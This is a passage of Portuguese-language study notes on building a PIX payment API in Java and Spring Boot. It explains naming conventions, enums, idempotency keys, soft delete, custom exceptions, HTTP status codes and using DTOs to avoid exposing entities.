"EU NAO MUDO". Qualquer dev que ve MAX_KEYS_PF sabe
instantaneamente que e constante.
Enum
Um tipo especial com conjunto fixo de valores possiveis.
public enum AccountStatus {
ACTIVE, // Cada valor e uma instancia unica
INACTIVE,
BLOCKED
}
// Uso:
account.setStatus(AccountStatus.ACTIVE); // OK
account.setStatus("ATIVO"); // ERRO — type safety!
Valores em UPPER_SNAKE (como constantes), nome do enum em PascalCase (como classe, porque e um tipo).
Pacote
Uma pasta que agrupa classes relacionadas. Funciona como namespace.
package com.riel.pixhub.entity; // pasta entity/
package com.riel.pixhub.enums; // pasta enums/
Tudo minusculo: Evita conflito entre sistemas operacionais
(Windows nao diferencia maiuscula em pastas, Linux sim).
Dominio invertido (com.riel): Garante unicidade global.
Arquivo
Em Java, cada classe publica mora em um arquivo com o mesmo nome.
Account.java contem public class Account.
Nao e convencao — e obrigatorio. O compilador exige.
Resumo visual
| Elemento | Convencao | Exemplo | Por que |
|---|---|---|---|
| Classe | PascalCase | AccountRepository |
Diferencia tipo de variavel |
| Variavel/Metodo | camelCase | holderDocument |
Indica instancia/acao |
| Constante/Enum valor | UPPER_SNAKE | CHECKING |
Grita "nao mudo" |
| Pacote | tudo minusculo | com.riel.pixhub |
Evita conflito entre OS |
| Arquivo | = nome da classe | Account.java |
Obrigatorio pelo compilador |
Spring Boot vs Java Puro
Aprendido em 18/03/2026 — Engenharia e MercadoVoce nao intercala — Spring Boot E Java
Spring Boot e Java. E uma camada em cima do Java que automatiza coisas chatas. Os dois vivem juntos no mesmo arquivo.
| Situacao | Quem faz | Exemplo |
|---|---|---|
| Logica de negocio | Java puro | Validar CPF, calcular saldo, verificar limites |
| Infraestrutura | Spring Boot | Conectar ao banco, criar endpoints, injetar dependencias |
| Persistencia | Spring Data | findByKeyValue(), save(), transacoes |
| Seguranca | Spring Security | Autenticacao, autorizacao |
Na pratica — os dois juntos
// Isso e JAVA PURO — logica de negocio
public boolean isCpfValid(String cpf) {
if (cpf.length() != 11) return false;
// calculo dos digitos verificadores...
return true;
}
// Isso e SPRING BOOT — infraestrutura
@RestController // Spring cuida do HTTP
@RequestMapping("/api/v1/accounts")
public class AccountController {
@Autowired // Spring injeta automaticamente
private AccountService accountService;
@PostMapping // Spring mapeia POST /api/v1/accounts
public ResponseEntity<Account> create(
@RequestBody AccountRequest request) {
return ResponseEntity.ok(
accountService.create(request) // Logica = Java puro
);
}
}
Se voce esta escrevendo if/else, for,
calculos, validacoes → e Java puro.
Se esta usando @Annotation → e Spring.
Os dois convivem no mesmo arquivo, na mesma classe.
Vocabulario do Dominio e APIs de Referencia
Aprendido em 18/03/2026 — Engenharia e MercadoOrdem de prioridade para nomear as coisas
- Regulacao oficial (BACEN, leis) → OBRIGATORIO seguir
- Padroes tecnicos (BRCode, EMV, ISO) → Nomes padronizados globalmente
- Glossario interno do projeto/empresa → Alinhamento do time
- APIs de referencia (Stripe, PagSeguro) → Boas praticas validadas
- Convencao do framework (Spring) → Padrao do ecossistema
- Seu bom senso → Ultimo recurso
Exemplos: nome errado vs nome certo
| Errado (inventado) | Certo (do dominio) | Por que |
|---|---|---|
transferId |
endToEndId |
Nome oficial do BACEN |
retryKey |
idempotencyKey |
Nome consagrado em APIs financeiras |
userDocument |
holderDocument |
"Holder" (titular) e termo bancario |
bankId |
bankCode / ispb |
ISPB e o identificador oficial do SPI |
qrString |
payload |
Termo do padrao BRCode/EMV |
Onde encontrar o vocabulario
| Fonte | O que traz |
|---|---|
| BACEN | Nomes oficiais: endToEndId, DICT, ISPB |
| Padrao BRCode | Campos do QR: merchantName, merchantCity, txId |
| Stripe Docs | Padroes de API: idempotency_key, webhook, secret |
| Spring Docs | Padroes do framework: Repository, Service, Controller |
Por que usar APIs de referencia alem do BACEN?
Nao e "ou" — e "e".
O BACEN diz O QUE fazer:
"Transacoes devem ter identificador fim-a-fim unico"
Mas nao diz COMO implementar:
- Que nome dar ao campo na API
- Como estruturar o JSON
- Como tratar duplicidades
- Como notificar o cliente
As APIs de referencia mostram COMO o mercado resolveu. Stripe ja errou, aprendeu e publicou as boas praticas. Voce nao precisa repetir os erros deles.
O BACEN e o codigo de transito — diz que voce precisa parar no vermelho. A Stripe e o instrutor de autoescola — ensina como frear suavemente, olhar o retrovisor e estacionar. Voce precisa dos dois.
Como saber que algo e padrao de mercado
Tres sinais:
-
Multiplas APIs grandes usam o mesmo nome:
Stripe tem
idempotency_key, PagSeguro tem, PayPal tem → e padrao. - Tem artigos explicando: Se voce pesquisa "idempotency key API design" e encontra artigos do Martin Fowler, Google Cloud, AWS → e padrao.
-
Frameworks tem suporte nativo:
Se Spring tem
@Idempotent, se AWS tem "Idempotency Helper" → e padrao.
O "jeito ideal" de nomear e: convencao da linguagem + padrao do framework + vocabulario do dominio + consistencia com o projeto. Se os 4 batem, o nome esta certo.
PO Sozinho sem Compliance
O cenario real
Nem toda empresa tem um departamento de Compliance. Em startups, fintechs pequenas, ou projetos solo, o PO (ou ate o dev) precisa ler e interpretar a regulacao do BACEN diretamente. E isso e totalmente possivel — voce so precisa de metodo.
Passo a passo pratico
1. Va direto na fonte oficial
O BACEN publica tudo abertamente. Para o PIX:
- Resolucao BCB no 1 — regras gerais do PIX
- Manual de Requisitos Minimos — documento tecnico com campos, fluxos, limites
- APIs do DICT — especificacao tecnica das APIs do diretorio de chaves
2. Leia como programador, nao como advogado
Voce nao precisa entender 100% da linguagem juridica. Procure as tabelas e diagramas — a regulacao do BACEN tem tabelas que dizem literalmente:
"Chave PIX tipo CPF: 11 digitos numericos"
"Maximo 5 chaves por conta PF, 20 por PJ"
"Campo endToEndId: 32 caracteres, formato E{ISPB}{data}{seq}"
Sao essas informacoes concretas que viram campos na sua Entity e validacoes no Service.
3. Crie uma planilha de extracao
Para cada artigo que afeta seu sistema, extraia em formato tabular:
Art. 37 | Regra: Max 5 chaves PF | Impacto: Validacao no PixKeyService | Prioridade: Alta
Art. 42 | Regra: Idempotencia obrigatoria | Impacto: Campo idempotencyKey | Prioridade: Critica
4. Use APIs de referencia como traducao
Pegue a documentacao da API PIX de bancos como Banco do Brasil, Itau, ou o padrao OpenBanking Brasil. Eles ja "traduziram" a regulacao em campos e endpoints concretos. E muito mais facil ler uma spec de API do que um documento juridico.
5. Valide antes de produzir
Mesmo sem Compliance interno, antes de ir para producao, busque uma consultoria juridica pontual ou feedback de alguem do mercado. Comunidades como o OpenBanking Brasil no GitHub sao recursos valiosos.
Regulacao oficial → Extrai regras em tabela → Compara com APIs de referencia → Implementa → Valida com alguem antes de producao.
Validacao de Chaves PIX
Dois tipos de validacao, em momentos diferentes
No PIX real, existe o DICT (Diretorio de Identificadores de Contas Transacionais) — um banco de dados centralizado no BACEN com TODAS as chaves PIX do Brasil. Mas nem toda validacao precisa consultar o DICT.
A) Validacao LOCAL — formato e regras internas
Quando o usuario registra uma chave, primeiro validamos o formato antes de falar com qualquer sistema externo:
// Sera implementado no PixKeyService (Fase 03)
public PixKey registerKey(PixKeyRequest request) {
// 1. VALIDACAO LOCAL — formato esta correto?
switch (request.getKeyType()) {
case CPF:
if (!isValidCpf(request.getKeyValue()))
throw new InvalidPixKeyException("CPF invalido");
break;
case EMAIL:
if (!isValidEmail(request.getKeyValue()))
throw new InvalidPixKeyException("E-mail invalido");
break;
}
// 2. VALIDACAO LOCAL — limite de chaves atingido?
long activeKeys = pixKeyRepository
.countByAccountIdAndStatus(accountId, PixKeyStatus.ACTIVE);
boolean isPJ = account.getHolderDocument().length() == 14;
int maxKeys = isPJ ? 20 : 5;
if (activeKeys >= maxKeys) {
throw new PixKeyLimitExceededException("Limite atingido");
}
// 3. VALIDACAO LOCAL — chave ja existe no nosso banco?
if (pixKeyRepository.existsByKeyValue(request.getKeyValue())) {
throw new PixKeyAlreadyExistsException("Chave ja cadastrada");
}
// 4. Salva localmente
return pixKeyRepository.save(pixKey);
}
B) Consulta ao DICT — quando alguem faz um PIX
Quando voce digita uma chave PIX no app do banco, ele consulta o DICT para descobrir em qual banco/conta essa chave esta registrada:
// No sistema real:
// DictResponse resp = dictClient.lookupKey("fulano@email.com");
// Retorna: banco destino, agencia, conta, nome do titular
// Na nossa simulacao, fazemos lookup local:
PixKey key = pixKeyRepository.findByKeyValue(pixKeyValue)
.orElseThrow(() -> new PixKeyNotFoundException("Chave nao encontrada"));
Account receiverAccount = key.getAccount();
No nosso projeto — o que ja existe
Os metodos do PixKeyRepository que ja criamos fazem exatamente essas validacoes:
// Verifica unicidade (simula verificacao do DICT)
boolean existsByKeyValue(String keyValue);
// Conta chaves ativas para validar limite 5 PF / 20 PJ
long countByAccountIdAndStatus(UUID accountId, PixKeyStatus status);
// Busca chave para resolver destinatario de um PIX
Optional<PixKey> findByKeyValue(String keyValue);
E como um correio: a validacao local verifica se o CEP tem 8 digitos (formato). A consulta ao DICT verifica se aquele CEP existe de verdade e qual endereco corresponde.
HTTP 422 e Codigos REST
422 e um padrao HTTP geral
O HTTP 422 (Unprocessable Entity) foi definido na RFC 4918, originalmente do WebDAV, mas adotado amplamente por APIs REST modernas. Nao e especifico de sistemas bancarios — e usado por Stripe, GitHub, Shopify e qualquer API bem desenhada.
Tabela de codigos na pratica
| Codigo | Nome | Quando usar | Exemplo PIX |
|--------|-----------------------|--------------------------------|--------------------------------|
| 400 | Bad Request | Formato errado, JSON malformado| { "amount": "abc" } — nem e nr |
| 404 | Not Found | Recurso nao existe | Chave PIX nao encontrada |
| 409 | Conflict | Conflito com estado atual | Chave PIX ja cadastrada |
| 422 | Unprocessable Entity | Formato OK, regra violada | { "amount": -50 } — negativo |
A diferenca sutil entre 400 e 422
400: "Nao entendi o que voce me mandou" — problema de sintaxe
(JSON quebrado, campo faltando, tipo errado).
422: "Entendi perfeitamente, mas nao posso fazer isso" — problema de
semantica/regra (saldo insuficiente, conta bloqueada, limite de chaves).
Por que e popular em APIs financeiras?
Sistemas financeiros tem MUITAS regras de negocio. "Saldo insuficiente", "Conta bloqueada", "Limite atingido" — tudo isso e 422: a requisicao e valida no formato, mas viola uma regra. O Stripe popularizou essa separacao e hoje e considerada boa pratica em qualquer API REST.
Na Fase 03/04, o GlobalExceptionHandler vai mapear cada excecao
customizada para o codigo HTTP correto: PixKeyNotFoundException → 404,
PixKeyAlreadyExistsException → 409,
PixKeyLimitExceededException → 422.
Soft Delete e Chave Inativa
Dois mecanismos juntos
No nosso PixKey.java, dois campos trabalham em conjunto:
// Campo 1: Status — flag rapida
@Enumerated(EnumType.STRING)
@Builder.Default
private PixKeyStatus status = PixKeyStatus.ACTIVE;
// Campo 2: Data de desativacao — registro historico
private LocalDateTime deactivatedAt;
// NULL = chave ativa. Preenchido = chave desativada.
Como funciona na pratica
// Consultas filtram por status:
List<PixKey> findByAccountIdAndStatus(accountId, PixKeyStatus.ACTIVE);
// → Retorna so as chaves que funcionam
// Desativacao (sera implementada na Fase 03):
public void deactivateKey(UUID keyId) {
PixKey key = pixKeyRepository.findById(keyId)
.orElseThrow(() -> new PixKeyNotFoundException("Nao encontrada"));
key.setStatus(PixKeyStatus.INACTIVE); // Marca como inativa
key.setDeactivatedAt(LocalDateTime.now()); // Registra QUANDO
pixKeyRepository.save(key);
}
Por que NUNCA deletar?
Se o BACEN perguntar "essa chave existiu entre janeiro e marco?", voce precisa
da resposta. Com DELETE, a informacao se perde para sempre.
Com soft delete (status + deactivatedAt), o historico completo
e preservado. Em fintech, dados nunca sao deletados fisicamente.
PO, Ordem e Realidade do Mercado
Mundo ideal vs realidade
Mundo ideal (empresas maduras como Itau, Nubank): o PO entrega historias com criterios de aceite bem organizados, com dependencias mapeadas: "Primeiro Account, depois PixKey que depende de Account."
Realidade (maioria das empresas): o PO prioriza por valor de negocio, nao por dependencia tecnica.
Exemplo concreto
Sprint 1 — PO priorizou por VALOR:
1. Fazer PIX por chave ← Maior valor (cliente quer pagar)
2. Cadastrar chave PIX ← Segundo maior valor
3. Consultar extrato ← Terceiro
Problema: "Fazer PIX" DEPENDE de Account + PixKey + Transaction prontos.
Quem resolve? O Tech Lead
Na pratica, a traducao de "valor de negocio" para "ordem tecnica" e feita pelo Tech Lead ou Senior Dev:
PO: "Quero PIX funcionando primeiro"
Tech Lead: "Para PIX funcionar, preciso de:"
- Semana 1: BaseEntity + Account + PixKey (fundacoes)
- Semana 2: Transaction + Kafka (processamento)
- Semana 3: Endpoint de PIX (que usa tudo acima)
Planning: PO aceita que a demo do Sprint 1 tera
"cadastro de conta e chave" (dependencia tecnica).
Quando voce esta sozinho
Voce e PO + Tech Lead + Dev ao mesmo tempo. A ordem que seguimos nas fases e exatamente o que um Tech Lead faria: Fase 01 infra (Docker) → Fase 02 dados (entidades) → Fase 03 logica (services) → Fase 04 interface (controllers). Sempre de baixo para cima: infraestrutura → dados → logica → interface.
Idempotencia no Codigo
O campo que ja criamos
Em Transaction.java:
@Column(name = "idempotency_key", nullable = false,
length = 36, unique = true)
private String idempotencyKey;
Como funciona na pratica (Fase 03)
public Transaction createTransaction(TransactionRequest request) {
// PASSO 1: Verifica se ja existe transacao com essa idempotencyKey
Optional<Transaction> existing = transactionRepository
.findByIdempotencyKey(request.getIdempotencyKey());
if (existing.isPresent()) {
// JA EXISTE! Retorna a transacao existente sem criar outra.
// Isso E a idempotencia em acao.
return existing.get();
}
// PASSO 2: Nao existe — cria nova transacao
Transaction transaction = Transaction.builder()
.endToEndId(generateEndToEndId())
.amount(request.getAmount())
.senderAccount(senderAccount)
.receiverAccount(receiverAccount)
.idempotencyKey(request.getIdempotencyKey())
.status(TransactionStatus.PENDING)
.build();
return transactionRepository.save(transaction);
}
Fluxo do cliente
Cliente clica "Pagar R$50" → App gera idempotencyKey: "abc-123-def"
Requisicao 1:
POST /api/v1/transactions { idempotencyKey: "abc-123-def" }
→ Nao existe "abc-123-def" → CRIA transacao → 201 Created
Requisicao 2 (clique duplo, lag):
POST /api/v1/transactions { idempotencyKey: "abc-123-def" }
→ JA existe "abc-123-def" → RETORNA a mesma transacao → 200 OK
→ Cliente NAO e cobrado duas vezes!
O cliente (app/frontend). Geralmente e um UUID gerado no momento que o usuario abre a tela de pagamento. Cada tentativa de pagamento nova gera uma chave unica. Se o usuario tenta novamente o mesmo pagamento (clique duplo, timeout, retry), a mesma chave e enviada.
Excecoes Customizadas
O que e uma excecao customizada?
E um sinal nomeado de que algo deu errado no seu dominio. Nao e uma rotina (algo que roda sempre) nem um fallback (plano B). E um alarme com nome e sobrenome que diz exatamente O QUE deu errado.
Sem excecao customizada — generico
// Ruim: mensagem generica, quem recebeu nao sabe o que aconteceu
if (activeKeys >= maxKeys) {
throw new RuntimeException("Erro na operacao");
// Foi limite de chaves? Conta bloqueada? Bug? Ninguem sabe.
}
Com excecao customizada — especifica
// 1. Cria a excecao (arquivo em exception/)
public class PixKeyLimitExceededException extends RuntimeException {
public PixKeyLimitExceededException(String message) {
super(message);
}
}
// 2. Usa no Service com mensagem clara
if (activeKeys >= maxKeys) {
throw new PixKeyLimitExceededException(
"Conta ja possui " + activeKeys + " chaves ativas. Limite: " + maxKeys
);
}
O poder real: GlobalExceptionHandler
O handler traduz cada excecao em uma resposta HTTP especifica:
@RestControllerAdvice
public class GlobalExceptionHandler {
@ExceptionHandler(PixKeyLimitExceededException.class)
public ResponseEntity<ErrorResponse> handlePixKeyLimit(
PixKeyLimitExceededException ex) {
return ResponseEntity.status(422).body(new ErrorResponse(
"PIX_KEY_LIMIT_EXCEEDED", // Codigo que o frontend entende
ex.getMessage() // Mensagem legivel
));
}
@ExceptionHandler(PixKeyNotFoundException.class)
public ResponseEntity<ErrorResponse> handleNotFound(
PixKeyNotFoundException ex) {
return ResponseEntity.status(404).body(new ErrorResponse(
"PIX_KEY_NOT_FOUND",
ex.getMessage()
));
}
// Cada excecao → um HTTP status especifico
}
RuntimeException e como um alarme de incendio generico — "algo pegou fogo". Excecao customizada e como um alarme especifico — "incendio na cozinha, fogo no fogao". A equipe de bombeiros (GlobalExceptionHandler) sabe exatamente o que fazer com cada tipo de alarme.
Rotina de Execucao no Dia a Dia
A ordem e sempre de dentro para fora
Quando voce recebe uma tarefa ("implementar cadastro de chave PIX"), segue esta ordem:
1. Entity (ja existe) → "O que eu vou salvar?"
2. Migration (ja existe) → "Como o banco armazena isso?"
3. Repository (ja existe) → "Como acesso o banco?"
4. Exception → "O que pode dar errado?"
5. DTO (Req/Res) → "O que o cliente manda e recebe?"
6. Service → "Qual a logica de negocio?"
7. Controller → "Qual o endpoint HTTP?"
Exemplo: "Cadastrar chave PIX"
Ja temos (Fase 02):
✓ PixKey.java (Entity)
✓ V3__create_pix_key_table.sql (Migration)
✓ PixKeyRepository.java (Repository)
Fase 03 — vamos criar:
→ PixKeyNotFoundException.java (Exception)
→ PixKeyAlreadyExistsException.java (Exception)
→ PixKeyLimitExceededException.java (Exception)
→ CreatePixKeyRequest.java (DTO entrada)
→ PixKeyResponse.java (DTO saida)
→ PixKeyService.java (Service)
Fase 04 — vamos criar:
→ PixKeyController.java (Controller)
Por que essa ordem?
Controller depende de → Service
Service depende de → Repository + Exception + DTO
Repository depende de → Entity
Entity depende de → Migration (tabela precisa existir)
Voce nao consegue escrever o Service sem o Repository. Nao consegue escrever o Controller sem o Service. A ordem e natural — cada camada precisa da anterior.
No dia a dia de uma sprint
Segunda: Le a historia do PO, entende criterios de aceite
Terca: Cria Exceptions + DTOs (rapido, sao arquivos simples)
Quarta: Implementa o Service (parte mais complexa, regras)
Quinta: Implementa Controller + escreve testes
Sexta: Code review, ajustes, merge
CRUD Multiplo por Entidade
Sim, e muito comum!
Cada letra do CRUD pode ter multiplas variacoes:
Account — variacoes
| Operacao | Variacoes | Endpoint |
|----------|--------------------------------------------------|----------------------------------|
| Create | 1 — criar conta | POST /api/v1/accounts |
| Read | 4 — por ID, por documento, por banco+ag+nr, todas| GET /api/v1/accounts/{id} |
| Update | 3 — atualizar dados, bloquear, desbloquear | PUT, PATCH .../block |
| Delete | 1 — desativar (soft delete) | DELETE /api/v1/accounts/{id} |
Transaction — ainda mais interessante
| Operacao | Variacoes | Endpoint/Mecanismo |
|----------|--------------------------------------------------|----------------------------------|
| Create | 1 — iniciar PIX | POST /api/v1/transactions |
| Read | 5 — por ID, endToEndId, conta sender, receiver | Varios GETs |
| Update | 3 — processar, completar, falhar (via Kafka) | Internos (Kafka consumers) |
| Delete | 0 — transacao NUNCA e deletada | Nao existe |
No codigo — os Reads multiplos
Cada metodo do PixKeyRepository e uma variacao de Read:
Optional<PixKey> findByKeyValue(String keyValue); // Read por valor
List<PixKey> findByAccountId(UUID accountId); // Read por conta
List<PixKey> findByAccountIdAndStatus(UUID id, ...); // Read por conta+status
List<PixKey> findByKeyType(PixKeyType keyType); // Read por tipo
No Controller — cada variacao vira um endpoint
@RestController
@RequestMapping("/api/v1/pix-keys")
public class PixKeyController {
@PostMapping // CREATE
public ResponseEntity create(...) { }
@GetMapping("/{id}") // READ por ID
public ResponseEntity getById(...) { }
@GetMapping("/by-key/{keyValue}") // READ por valor
public ResponseEntity getByKey(...) { }
@GetMapping("/by-account/{accountId}")// READ por conta
public ResponseEntity getByAccount(...) { }
@PatchMapping("/{id}/deactivate") // UPDATE (soft delete)
public ResponseEntity deactivate(...) { }
// DELETE fisico — nao existe para PixKey
}
Para organizar entidades x CRUDs: dbdiagram.io (diagramas ER),
DBeaver (gera diagrama do banco existente),
Miro/FigJam (quadro branco para fluxos),
Swagger Editor (design visual de APIs).
O nosso arquitetura.html e uma versao customizada disso.
Classe e Objeto — Exemplo Completo
1. A Classe — o molde
public class ContaBancaria {
// --- DADOS (atributos) — informacoes que cada conta tera ---
private String titular;
private String numero;
private BigDecimal saldo;
private boolean ativa;
// --- CONSTRUTOR — como criar uma conta nova ---
// Chamado quando voce faz: new ContaBancaria(...)
public ContaBancaria(String titular, String numero) {
this.titular = titular; // "this" = esta instancia especifica
this.numero = numero;
this.saldo = BigDecimal.ZERO; // Toda conta comeca com zero
this.ativa = true; // Toda conta comeca ativa
}
// --- COMPORTAMENTOS (metodos) — acoes que a conta executa ---
public BigDecimal depositar(BigDecimal valor) {
if (valor.compareTo(BigDecimal.ZERO) <= 0)
throw new IllegalArgumentException("Valor deve ser positivo");
if (!this.ativa)
throw new IllegalStateException("Conta inativa");
this.saldo = this.saldo.add(valor);
return this.saldo;
}
public BigDecimal sacar(BigDecimal valor) {
if (valor.compareTo(this.saldo) > 0)
throw new IllegalStateException("Saldo insuficiente");
this.saldo = this.saldo.subtract(valor);
return this.saldo;
}
public void transferir(ContaBancaria destino, BigDecimal valor) {
this.sacar(valor); // Debita desta conta
destino.depositar(valor); // Credita na outra
}
// --- GETTERS — para ler os dados (encapsulamento) ---
public String getTitular() { return this.titular; }
public BigDecimal getSaldo() { return this.saldo; }
}
2. Criando objetos — instancias da classe
public class Main {
public static void main(String[] args) {
// 2 objetos DIFERENTES do MESMO molde (classe)
// Como 2 casas construidas da mesma planta arquitetonica
ContaBancaria contaRiel = new ContaBancaria("Riel", "001-1");
ContaBancaria contaMaria = new ContaBancaria("Maria", "002-2");
// Cada objeto tem dados independentes
contaRiel.depositar(new BigDecimal("1000.00"));
// contaRiel.saldo = 1000.00
// contaMaria.saldo = 0.00 (independente!)
contaMaria.depositar(new BigDecimal("500.00"));
// Transferencia: Riel → Maria, R$200
contaRiel.transferir(contaMaria, new BigDecimal("200.00"));
System.out.println(contaRiel.getSaldo()); // 800.00
System.out.println(contaMaria.getSaldo()); // 700.00
}
}
3. Como isso se compara ao Spring
// Java puro:
ContaBancaria conta = new ContaBancaria("Riel", "001-1");
conta.depositar(valor); // Dev cria e chama manualmente
// Spring:
Account conta = Account.builder().holderName("Riel").build();
accountRepository.save(conta); // Spring + JPA salva no banco
// Comportamento (depositar) fica no Service, nao na Entity
public BigDecimal depositar(BigDecimal valor) { ... }
public — quem pode chamar (qualquer um)
BigDecimal — tipo de retorno (o que devolve)
depositar — nome do metodo (o verbo)
(BigDecimal valor) — parametro (o que precisa receber)
{ ... } — corpo (o que FAZ)
return — o que DEVOLVE para quem chamou
Tipos de retorno
// Retorna um valor
public BigDecimal getSaldo() { return this.saldo; }
BigDecimal resultado = conta.getSaldo(); // resultado = 1000.00
// void — faz algo mas nao devolve nada
public void bloquear() { this.ativa = false; }
conta.bloquear(); // Sem "resultado", so executou
// boolean — responde sim/nao
public boolean temSaldo(BigDecimal valor) {
return this.saldo.compareTo(valor) >= 0;
}
boolean podePagar = conta.temSaldo(new BigDecimal("500")); // true/false
Enum vs Constante e Pacotes
Constante — valores soltos, sem protecao
public static final String STATUS_ACTIVE = "ACTIVE";
public static final String STATUS_INACTIVE = "INACTIVE";
// O problema:
public void setStatus(String status) { ... }
conta.setStatus("ACTIVE"); // ✓ Funciona
conta.setStatus("ACTVE"); // ✓ Compila! Mas esta errado (typo)
conta.setStatus("banana"); // ✓ Compila! Absurdo, mas Java aceita
conta.setStatus(""); // ✓ Compila! String vazia
// O erro so aparece em RUNTIME (producao, 3h da manha)
Enum — tipado, protegido pelo compilador
public enum AccountStatus { ACTIVE, INACTIVE, BLOCKED }
// Esses 3 sao os UNICOS valores possiveis. Ponto final.
public void setStatus(AccountStatus status) { ... }
conta.setStatus(AccountStatus.ACTIVE); // ✓ Funciona
conta.setStatus(AccountStatus.BLOCKED); // ✓ Funciona
conta.setStatus("ACTIVE"); // ✗ NAO COMPILA — String nao e AccountStatus
conta.setStatus("banana"); // ✗ NAO COMPILA
conta.setStatus(AccountStatus.BANANA); // ✗ NAO COMPILA — BANANA nao existe
// Erro aparece em COMPILE TIME (IDE sublinha de vermelho)
O Java verifica o tipo do dado. AccountStatus e um tipo.
String e outro tipo. Voce nao pode colocar um onde se espera o outro.
E como tentar enfiar uma chave Phillips num parafuso Allen — o formato impede.
Quando usar cada um?
// ENUM: valores FINITOS e CONHECIDOS (status, tipos, categorias)
enum AccountStatus { ACTIVE, INACTIVE, BLOCKED }
enum PixKeyType { CPF, CNPJ, EMAIL, PHONE, RANDOM }
// CONSTANTE: valor FIXO INDIVIDUAL que nao faz parte de um grupo
public static final int MAX_RETRY = 3;
public static final long TIMEOUT_MS = 5000;
Enums com dados extras (Java permite!)
enum PixKeyType {
CPF(11, "CPF"),
CNPJ(14, "CNPJ"),
EMAIL(77, "E-mail"),
PHONE(14, "Telefone"),
RANDOM(36, "Aleatoria");
private final int maxLength;
private final String displayName;
PixKeyType(int maxLength, String displayName) {
this.maxLength = maxLength;
this.displayName = displayName;
}
}
// Uso: PixKeyType.CPF.getMaxLength() → 11
Pacotes — como pastas com superpoderes
Pacotes funcionam exatamente como pastas no sistema de arquivos:
package com.riel.pixhub.entity;
// com/ riel/ pixhub/ entity/ ← sao pastas REAIS!
src/main/java/
└── com/
└── riel/
└── pixhub/
├── entity/ → package com.riel.pixhub.entity
├── enums/ → package com.riel.pixhub.enums
└── repository/ → package com.riel.pixhub.repository
Import = link entre arquivos
A analogia com HTML/CSS e perfeita:
// HTML: link para CSS usando caminho
<link rel="stylesheet" href="../../css/style.css">
// Java: import de uma classe de outro pacote
import com.riel.pixhub.enums.AccountStatus;
// "Va na pasta com/riel/pixhub/enums/ e traga AccountStatus.java"
Em HTML, href="../../css/style.css" e relativo
(depende de onde voce esta). Em Java,
import com.riel.pixhub.enums.AccountStatus e
absoluto (sempre comeca da raiz). Sem o import, o Java nao
sabe onde a classe esta — como um HTML sem o <link> para o CSS.
Por que com.riel.pixhub?
Convencao Java de dominio invertido: se o site fosse
pixhub.riel.com, o pacote e com.riel.pixhub (invertido).
Isso garante unicidade mundial — nenhum outro projeto Java no planeta tera o mesmo pacote.
Por que Atualizar o GlobalExceptionHandler
O que ele faz hoje
O GlobalExceptionHandler criado na Fase 01 tem apenas 2 handlers:
um para erros de validacao (MethodArgumentNotValidException → 400)
e um generico para tudo mais (Exception → 500).
Problema 1 — Usa Map em vez de classe tipada
// HOJE: monta um Map na mao — sem tipo, sem garantia
Map<String, Object> body = new HashMap<>();
body.put("timestamp", LocalDateTime.now());
body.put("statsu", status.value()); // Typo! Compila e quebra em producao
// DEPOIS: usa ErrorResponse — classe com campos definidos
ErrorResponse body = new ErrorResponse(status, error, message, path);
// Typo no campo? Java NAO compila. Mesmo conceito de Enum vs String.
Problema 2 — So trata 2 situacoes
// HOJE:
@ExceptionHandler(MethodArgumentNotValidException.class) // 400
@ExceptionHandler(Exception.class) // 500 para TUDO
// Se o Service lanca ResourceNotFoundException...
// Cai no handler generico → retorna 500 Internal Server Error
// Mas deveria retornar 404 Not Found!
// DEPOIS: handlers especificos
@ExceptionHandler(ResourceNotFoundException.class) // → 404
@ExceptionHandler(ResourceAlreadyExistsException.class) // → 409
@ExceptionHandler(BusinessRuleViolationException.class) // → 422
@ExceptionHandler(AccountBlockedException.class) // → 403
// Cada excecao → codigo HTTP correto
E como um hospital que so tem "ala geral". Chega paciente com gripe? Ala geral. Fratura? Ala geral. Cirurgia? Ala geral. Funciona, mas e ineficiente. A atualizacao cria alas especificas: cada tipo de problema tem o tratamento correto.
Com handlers especificos, o frontend recebe codigos HTTP corretos e pode mostrar mensagens adequadas: "Conta nao encontrada" (404) vs "Documento ja cadastrado" (409) vs "Saldo insuficiente" (422). Com 500 para tudo, o frontend so mostra "Erro interno".
DTOs e Mapper
Por que NAO usar a Entity direto?
// ERRADO — expor Account (Entity) na resposta:
@PostMapping
public Account create(@RequestBody Account account) {
return accountRepository.save(account);
}
// 3 problemas graves:
// 1. SEGURANCA — Cliente controla o que NAO deveria:
// { "id": "uuid-que-eu-quero", "balance": 999999, "status": "ACTIVE" }
// Atacante define proprio ID, saldo e status!
// 2. PRIVACIDADE — Resposta expoe TUDO:
// { "holderDocument": "12345678901", "balance": 15000 }
// CPF e saldo visiveis — violacao de LGPD
// 3. ACOPLAMENTO — Se mudar a Entity, a API publica QUEBRA
// Todos os apps/frontends param de funcionar
DTO de Entrada — o que o cliente pode enviar
// CreateAccountRequest — so campos que o cliente TEM PERMISSAO de informar
public class CreateAccountRequest {
@NotBlank(message = "Nome e obrigatorio")
@Size(min = 2, max = 120)
private String holderName; // Cliente informa
@NotBlank(message = "Documento e obrigatorio")
private String holderDocument; // Cliente informa
@NotBlank
private String bankCode; // Cliente informa
@NotBlank
private String branch; // Cliente informa
@NotBlank
private String accountNumber; // Cliente informa
@NotNull
private AccountType accountType; // Cliente informa
// NAO TEM: id, balance, status, createdAt, updatedAt
// O sistema define esses campos, nao o cliente
}
DTO de Saida — o que o cliente pode ver
// AccountResponse — campos que o cliente TEM PERMISSAO de ver
public class AccountResponse {
private UUID id; // Cliente ve
private String holderName; // Cliente ve
private String holderDocument; // Sera MASCARADO: ***456.789-**
private String bankCode; // Cliente ve
private String branch; // Cliente ve
private String accountNumber; // Cliente ve
private AccountType accountType; // Cliente ve
private BigDecimal balance; // So o dono ve (JWT depois)
private AccountStatus status; // Cliente ve
private LocalDateTime createdAt; // Cliente ve
// NAO TEM: updatedAt (dado interno, irrelevante pro cliente)
}
Mapper — ponte entre Entity e DTO
public class AccountMapper {
// DTO de entrada → Entity (para salvar no banco)
public static Account toEntity(CreateAccountRequest request) {
return Account.builder()
.holderName(request.getHolderName())
.holderDocument(request.getHolderDocument())
.bankCode(request.getBankCode())
.branch(request.getBranch())
.accountNumber(request.getAccountNumber())
.accountType(request.getAccountType())
// balance e status usam @Builder.Default (ZERO e ACTIVE)
// id e createdAt sao gerados automaticamente pelo JPA
.build();
}
// Entity → DTO de saida (para retornar na API)
public static AccountResponse toResponse(Account account) {
return AccountResponse.builder()
.id(account.getId())
.holderName(account.getHolderName())
.holderDocument(account.getHolderDocument())
.bankCode(account.getBankCode())
.branch(account.getBranch())
.accountNumber(account.getAccountNumber())
.accountType(account.getAccountType())
.balance(account.getBalance())
.status(account.getStatus())
